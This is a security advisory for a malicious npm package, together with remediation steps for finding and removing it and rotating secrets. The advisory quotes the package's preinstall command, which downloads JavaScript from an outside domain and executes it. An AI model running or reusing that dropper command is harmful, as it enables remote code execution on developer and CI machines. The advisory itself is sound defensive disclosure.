MAL-2026-6265 Malicious code in sn-internal-testjgsakjdkjadkjah (npm)
Malicious package
Published
MAL-2026-6265 is a malicious package: sn-internal-testjgsakjdkjadkjah (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-6265/ (Markdown: https://insights.sbomify.com/MAL-2026-6265/index.md)
- Package
- sn-internal-testjgsakjdkjadkjah
- Registry
- npm
What is MAL-2026-6265?
MAL-2026-6265 is a malicious package in sn-internal-testjgsakjdkjadkjah, published on 22 Jun 2026.
Official description
package.json declares a preinstall lifecycle script that runs
curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On npm install, this downloads JavaScript from poc.amanrawat.com over an unpinned, unverified URL, overwrites the package's index.js with the fetched bytes, and immediately executes them with node under the installer's user privileges. The destination is a personal domain unrelated to any legitimate publisher infrastructure, the content is mutable (whatever bytes are served at request time are executed), and there is no hash, signature, or version pin. This is a textbook install-time remote code execution dropper: the attacker controlling poc.amanrawat.com can run arbitrary code on every machine that installs this package, including developer workstations and CI systems. Package metadata (name sn-internal-testjgsakjdkjadkjah, description 'This is our internal app for testing', author amanrawat matching the fetch domain) suggests a proof-of-concept publication, but the install-time behavior is functionally identical to a malicious dropper regardless of author intent.What should I do about MAL-2026-6265?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.